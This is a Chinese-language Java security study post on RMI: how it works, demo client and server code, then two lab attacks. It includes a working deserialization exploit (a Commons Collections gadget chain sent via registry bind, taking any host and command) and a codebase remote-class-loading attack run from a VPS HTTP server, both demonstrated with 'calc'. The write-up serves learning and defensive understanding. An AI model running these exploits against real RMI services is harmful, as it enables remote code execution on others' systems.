Javasec-RMI

RMI

RMI(Remote Method Invocation)Java远程方法调用,RMI用于构建分布式应用程序,RMI实现了Java程序之间跨JVM的远程通信。让某个Java虚拟机上的对象调⽤另⼀个Java虚拟机中对象上的⽅法。

RMI结构

Javasec-RMI_第1张图片

RMI底层通讯采用了Stub(运行在客户端)Skeleton(运行在服务端)机制,RMI调用远程方法的大致如下:

  1. RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)
  2. Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象。
  3. RemoteCall序列化RMI服务名称Remote对象。
  4. RMI客户端远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端远程引用层
  5. RMI服务端远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)
  6. Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。
  7. Skeleton处理客户端请求:bindlistlookuprebindunbind,如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。
  8. RMI客户端反序列化服务端结果,获取远程对象的引用。
  9. RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
  10. RMI客户端反序列化RMI远程方法调用结果。

RMI远程方法调用Demo

第一步我们需要先启动RMI服务端,并注册服务。

⼀个RMI Server分为三部分:

  1. ⼀个继承了 java.rmi.Remote 的接⼝,其中定义我们要远程调⽤的函数
  2. ⼀个实现了此接⼝的类
  3. ⼀个主类,⽤来创建Registry,并将上⾯的类实例化后绑定到⼀个地址。这就是我们所谓的Server 了。

先实现一个继承了 java.rmi.Remote 的接⼝,定要test函数

package com.sec.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

/**
 * RMI测试接口
 */
public interface RMIInterfaceDemo extends Remote {

    /**
     * RMI测试方法
     *
     * @return 返回测试字符串
     */
    String test() throws RemoteException;

}

在实现⼀个实现了此接⼝的类 ,并重写了test函数

package com.sec.rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RMIImplDemo extends UnicastRemoteObject implements RMIInterfaceDemo {

    private static final long serialVersionUID = 1L;

    protected RMIImplDemo() throws RemoteException {
        super();
    }

    /**
     * RMI测试方法
     *
     * @return 返回测试字符串
     */
    @Override
    public String test() throws RemoteException {
        return "Hello 6right~";
    }

}

最后是RMI服务端注册服务代码:

Java RMI 设计了一个 Registry 的思想,很好理解,我们可以使用注册表来查找一个远端对象的引用,更通俗的来讲,这个就是一个 RMI 电话本,我们想在某个人那里获取信息时(Remote Method Invocation),我们在电话本上(Registry)通过这个人的名称 (Name)来找到这个人的电话号码(Reference),并通过这个号码找到这个人(Remote Object)

package com.sec.rmi;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;


public class RMIServerDemo {
    // RMI服务器IP地址
    public static final String RMI_HOST = "127.0.0.1";
    // RMI服务端口
    public static final int RMI_PORT = 9527;
    public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/test";


    public static void main(String[] args) throws Exception {
        //新建一个RMI Registry的时候,直接绑定RMIImplDemo对象在上面
        LocateRegistry.createRegistry(RMI_PORT);
        //Naming.bind 的第一个参数是一个URL,形如: rmi://host:port/name 。其中,host和port就是RMI Registry的地址和端口,name是远程对象的名字。如果RMI Registry在本地运行,那么host和port是可以省略的,此时host默认是 localhost ,port默认1099Naming.bind(RMI_NAME, new RMIImplDemo());
        System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
    }
}

程序运行结果:

RMI服务启动成功,服务地址:rmi://127.0.0.1:9527/test

Naming.bind(RMI_NAME, new RMITestImpl())绑定的是服务端的一个类实例,RMI客户端需要有这个实例的接口代码(RMITestInterface.java),RMI客户端调用服务器端的RMI服务时会返回这个服务所绑定的对象引用,RMI客户端可以通过该引用对象调用远程的服务实现类的方法并获取方法执行结果。

RMI客户端示例代码:

package com.sec.rmi;

import java.rmi.Naming;

import static com.sec.rmi.RMIServerDemo.RMI_NAME;

public class RMIClientDemo {

    public static void main(String[] args) {
        try {
            // 查找远程RMI服务
            RMIInterfaceDemo rt = (RMIInterfaceDemo) Naming.lookup(RMI_NAME);
            // 调用远程接口RMITestInterface类的test方法
            String result = rt.test();
            // 输出RMI方法调用结果
            System.out.println(result);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

客户端就简单多了,使⽤ Naming.lookup 在Registry中寻找到名字是Hello的对象,后⾯的使⽤就和在 本地使⽤⼀样了。

虽说执⾏远程⽅法的时候代码是在远程服务器上执⾏的,但实际上我们还是需要知道有哪些⽅法,这时 候接⼝的重要性就体现了,这也是为什么我们前⾯要继承 Remote 并将我们需要调⽤的⽅法写在接⼝ RMIInterfaceDemo⾥,因为客户端也需要⽤到这个接⼝。

程序运行结果:

Javasec-RMI_第2张图片

上面的Demo是在本地下实现的,现在在两台主机上进行C/S的流程

服务端还是刚刚的本地服务端,客户端改部署在kali上

kali-ip:192.168.159.132

本机ip:192.168.159.1

kali上RMIClientDemo.java

package com.sec.rmi;

import java.rmi.Naming;


public class RMIClientDemo {
    public static final String RMI_HOST = "192.168.159.1";
    public static final int RMI_PORT = 9527;
    public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/test";
    public static void main(String[] args) {
        try {
            // 查找远程RMI服务
            RMIInterfaceDemo rt = (RMIInterfaceDemo) Naming.lookup(RMI_NAME);
            // 调用远程接口RMITestInterface类的test方法
            String result = rt.test();
            // 输出RMI方法调用结果
            System.out.println(result);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

还需要实现接口RMIInterfaceDemo.java

package com.sec.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

/**
 * RMI测试接口
 */
public interface RMIInterfaceDemo extends Remote {

    /**
     * RMI测试方法
     *
     * @return 返回测试字符串
     */
    String test() throws RemoteException;
}

Javasec-RMI_第3张图片

tips:

  • 服务端的包名就是最开始的package com.sec.rmi;,客户端包名也要一样不然会报错

RMI Registry就像⼀个⽹关,他⾃⼰是不会执⾏远程⽅法的,但RMI Server可以在上⾯注册⼀个Name 到对象的绑定关系;RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMI Server;最后,远程⽅法实际上在RMI Server上调⽤。

RMI客户端攻击服务端

RMI攻击围绕着三个主体

  • Server端
  • Client端
  • Registry端

最常见的就是在Client端攻击Server端,所以接下来的分析都是如此

RMI反序列化漏洞

RMI通信中所有的对象都是通过Java序列化传输的,只要有Java对象反序列化操作就有可能有漏洞。

既然RMI使用了反序列化机制来传输Remote对象,那么可以通过构建一个恶意的Remote对象,这个对象经过序列化后传输到服务器端,服务器端在反序列化时候就会触发反序列化漏洞。

首先我们依旧使用上述com.sec.rmi.RMIServerDemo的代码,创建一个RMI服务,然后我们来构建一个恶意的Remote对象并通过bind请求发送给服务端。

RMI客户端反序列化攻击示例代码:

tips:

  • 这里使用的是CC链,jdk版本下调至1.7才可以复现RCE
package com.sec.rmi;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSocketFactory;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMIClientSocketFactory;
import java.security.cert.X509Certificate;
import java.util.HashMap;
import java.util.Map;

import static com.sec.rmi.RMIServerDemo.RMI_HOST;
import static com.sec.rmi.RMIServerDemo.RMI_PORT;

/**
 * RMI反序列化漏洞利用,修改自ysoserial的RMIRegistryExploit:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/RMIRegistryExploit.java
 *
 * @author yz
 */
public class RMIExploit {

    // 定义AnnotationInvocationHandler类常量
    public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

    /**
     * 信任SSL证书
     */
    private static class TrustAllSSL implements X509TrustManager {

        private static final X509Certificate[] ANY_CA = {};

        public X509Certificate[] getAcceptedIssuers() {
            return ANY_CA;
        }

        public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }

        public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }

    }

    /**
     * 创建支持SSL的RMI客户端
     */
    private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {

        public Socket createSocket(String host, int port) throws IOException {
            try {
                // 获取SSLContext对象
                SSLContext ctx = SSLContext.getInstance("TLS");

                // 默认信任服务器端SSL
                ctx.init(null, new TrustManager[]{new TrustAllSSL()}, null);

                // 获取SSL Socket连接工厂
                SSLSocketFactory factory = ctx.getSocketFactory();

                // 创建SSL连接
                return factory.createSocket(host, port);
            } catch (Exception e) {
                throw new IOException(e);
            }
        }
    }

    /**
     * 使用动态代理生成基于InvokerTransformer/LazyMap的Payload
     *
     * @param command 定义需要执行的CMD
     * @return Payload
     * @throws Exception 生成Payload异常
     */
    private static InvocationHandler genPayload(String command) throws Exception {
        // 创建Runtime.getRuntime.exec(cmd)调用链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
        };

        // 创建ChainedTransformer调用链对象
        Transformer transformerChain = new ChainedTransformer(transformers);

        // 使用LazyMap创建一个含有恶意调用链的Transformer类的Map对象
        final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);

        // 获取AnnotationInvocationHandler类对象
        Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);

        // 获取AnnotationInvocationHandler类的构造方法
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

        // 设置构造方法的访问权限
        constructor.setAccessible(true);

        // 实例化AnnotationInvocationHandler,
        // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, lazyMap);
        InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

        // 使用动态代理创建出Map类型的Payload
        final Map mapProxy2 = (Map) Proxy.newProxyInstance(
                ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annHandler
        );

        // 实例化AnnotationInvocationHandler,
        // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, mapProxy2);
        return (InvocationHandler) constructor.newInstance(Override.class, mapProxy2);
    }

    /**
     * 执行Payload
     *
     * @param registry RMI Registry
     * @param command  需要执行的命令
     * @throws Exception Payload执行异常
     */
    public static void exploit(final Registry registry, final String command) throws Exception {
        // 生成Payload动态代理对象
        Object payload = genPayload(command);
        String name    = "test" + System.nanoTime();

        // 创建一个含有Payload的恶意map
        Map<String, Object> map = new HashMap();
        map.put(name, payload);

        // 获取AnnotationInvocationHandler类对象
        Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);

        // 获取AnnotationInvocationHandler类的构造方法
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

        // 设置构造方法的访问权限
        constructor.setAccessible(true);

        // 实例化AnnotationInvocationHandler,
        // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, map);
        InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, map);

        // 使用动态代理创建出Remote类型的Payload
        Remote remote = (Remote) Proxy.newProxyInstance(
                ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, annHandler
        );

        try {
            // 发送Payload
            registry.bind(name, remote);
        } catch (Throwable e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws Exception {
        if (args.length == 0) {
            // 如果不指定连接参数默认连接本地RMI服务
            args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "calc"};
        }

        // 远程RMI服务IP
        final String host = args[0];

        // 远程RMI服务端口
        final int port = Integer.parseInt(args[1]);

        // 需要执行的系统命令
        final String command = args[2];

        // 获取远程Registry对象的引用
        Registry registry = LocateRegistry.getRegistry(host, port);

        try {
            // 获取RMI服务注册列表(主要是为了测试RMI连接是否正常)
            String[] regs = registry.list();

            for (String reg : regs) {
                System.out.println("RMI:" + reg);
            }
        } catch (ConnectIOException ex) {
            // 如果连接异常尝试使用SSL建立SSL连接,忽略证书信任错误,默认信任SSL证书
            registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
        }

        // 执行payload
        exploit(registry, command);
    }

}

程序执行后将会在RMI服务端弹出计算器,RMIExploit程序执行的流程大致如下:

  1. 使用LocateRegistry.getRegistry(host, port)创建一个RemoteStub对象。
  2. 构建一个适用于Apache Commons Collections的恶意反序列化对象(使用的是LazyMap+AnnotationInvocationHandler组合方式)。
  3. 使用RemoteStub调用RMI服务端bind指令,并传入一个使用动态代理创建出来的Remote类型的恶意AnnotationInvocationHandler对象到RMI服务端
  4. RMI服务端接受到bind请求后会反序列化我们构建的恶意Remote对象从而触发Commons Collections漏洞的RCE

codebase远程代码执行

Codebase

codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,而CLASSPATH是“本地codebase”,它是磁盘上加载本地类的位置。

  • codebase通常是远程URL,比如http、ftp等。

  • 例如指定 codebase=http://example.com/ ,然后加载 com.sec.Codebase.Example 类,则 Java虚拟机会下载这个文件 http://example.com/com.sec.Codebase.Example,并作为 Example类的字节码。

RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在 本地没有找到这个类,就会去远程加载codebase中的类。

  • 例如RMIClientDemo.java 编译之后会生成RMIClientDemo.class 和 RMIClientDemo$Right6.class,我们的服务端会访问这两个文件

在RMI中,我们是可以将codebase随着序列化数据一起传输的,服务器在接收到这个数据后在 CLASSPATH没有找到,就会去指定的codebase寻找类,往RMIClient.java中添加恶意命令执行的代码,由于codebase被控制导致任意命令执行漏洞。

只有满足如下条件的RMI服务器才能被攻击:

  • 需要SecurityManager

    • 因为我们通过网络加载外部类并执行方法,所以我们必须要有一个安全管理器来进行管理,如果没有设置安全管理,则 RMI 不会动态加载任何类
  • Java版本低于7u21、6u45,或者设置了 java.rmi.server.useCodebaseOnly=false

    • 官方在Java 7u21、6u45的时候将 java.rmi.server.useCodebaseOnly 的默认值由 false 改为了 true 。
    • 在 java.rmi.server.useCodebaseOnly 配置为 true 的情况下,Java虚拟机将只信任预先配置好的 codebase ,不再支持从RMI请求中获取。

Javasec-RMI_第4张图片

复现Demo

我们来编写一个简单的RMIServer用于复现这个漏洞。

注意jdk环境要低于7u21、6u45,这里我使用JDK 1.7.0_17

客户端
  • kali:192.168.159.132
  • RMIClientDemo.java
package com.sec.rmi;

import java.io.Serializable;
import java.rmi.Naming;
import java.util.ArrayList;
import java.util.List;

public class RMIClientDemo implements Serializable {
    public static final String RMI_HOST = "192.168.159.1";
    public static final int RMI_PORT = 9527;
    public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/test";
    public class Right6 extends ArrayList<Integer> {}
    public void lookup() throws Exception {
	    List<Integer> li = new Right6();
   		RMIInterfaceDemo rt = (RMIInterfaceDemo) Naming.lookup(RMI_NAME);
        String result = rt.test(li);//远程调用触发点,在这里触发从cosebase中读取class文件执行!!
        System.out.println(result);
    }
    public static void main(String[] args) {
        try {
            new RMIClientDemo().lookup();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

本地只有一个抽象接口,所以Right6具体是从cosebase获取的class文件

  • RMIInterfaceDemo.java
package com.sec.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;

/**
 * RMI测试接口
 */
public interface RMIInterfaceDemo extends Remote {

    /**
     * RMI测试方法
     *
     * @return 返回测试字符串
     */
    String test(List<Integer> params) throws RemoteException;

}
服务端
  • windows:192.168.159.1
  • RMIImplDemo.java
package com.sec.rmi;

import java.util.List;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RMIImplDemo extends UnicastRemoteObject implements RMIInterfaceDemo {

    private static final long serialVersionUID = 1L;

    protected RMIImplDemo() throws RemoteException {
        super();
    }

    /**
     * RMI测试方法
     *
     * @return 返回测试字符串
     */
    @Override
    public String test(List<Integer> params) throws RemoteException {
        return "Hello 6right~";
    }

}
  • RMlInterfaceDemo.java

和客户端的一致

  • RMIServerDemo.java
package com.sec.rmi;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;


public class RMIServerDemo {
    public static final String RMI_HOST = "192.168.159.1";
    public static final int RMI_PORT = 9527;
    public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/test";


    public static void main(String[] args) throws Exception {
        //设置安全策略
        if (System.getSecurityManager() == null) {
            System.out.println("setup SecurityManager");
            System.setSecurityManager(new SecurityManager());
        }
        LocateRegistry.createRegistry(RMI_PORT);
        Naming.bind(RMI_NAME, new RMIImplDemo());
        System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
    }
}
  • 1.policy
    • 开放所有权限
grant {
    permission java.security.AllPermission;
};

tips:policy文件放在工作目录下,服务端传参调用-Djava.security.policy=1.policy

Javasec-RMI_第5张图片

客户端调用

java  -Djava.rmi.server.codebase=http://x.x.x.x:x/ com.sec.rmi.RMIClientDemo

vps成功收到请求

Javasec-RMI_第6张图片

接下来直接利用,将RMIClientDemo加入恶意代码

package com.sec.rmi;

import java.io.Serializable;
import java.rmi.Naming;
import java.util.ArrayList;
import java.util.List;

public class RMIClientDemo implements Serializable {
    private static final long serialVersionUID = 1L;
    static {
        try{
            Runtime.getRuntime().exec("calc");
        } catch (Exception e){
            e.printStackTrace();
        }
    }
    public static final String RMI_HOST = "192.168.159.1";
    public static final int RMI_PORT = 9527;
    public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/test";
    public class Right6 extends ArrayList<Integer> {}
    public void lookup() throws Exception {
        List<Integer> li = new Right6();
        RMIInterfaceDemo rt = (RMIInterfaceDemo) Naming.lookup(RMI_NAME);
        String result = rt.test(li);//远程调用触发点,在这里触发从cosebase中读取class文件执行!!
        System.out.println(result);
    }
    public static void main(String[] args) {
        try {
            new RMIClientDemo().lookup();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

开启httpserver

python -m SimpleHTTPServer 8000 

客户端重新发起恶意请求,服务端成功执行

Javasec-RMI_第7张图片

简单流程

客户端在调用时,传递了一个可序列化对象,这个对象在服务端不存在,则在服务端会抛出 ClassNotFound 的异常,但是 RMI 支持动态类加载,如果设置了 java.rmi.server.codebase,则会尝试从其中的地址获取 .class 并加载及反序列化。当其中包含恶意代码片段时执行达到远程RCE

总结

简单学习了 RMI的基础知识 ,通过Demo了解了RMI 的使用,分析了 RMI 实现的部分流程,针对 RMI 中Clinet端攻击Server端进行了Demo测试。

其实剩下来的知识点还很多,后面写的话还会更一篇文章。

  • JEP290学习及绕过
  • RMI利用JRMP协议漏洞
  • Server攻击Client端(反制)
  • Registry端的攻击

参考

  • https://javasec.org/javase/RMI/
  • https://su18.org/post/rmi-attack/
  • p牛java漫谈

你可能感兴趣的:(java安全,java,学习)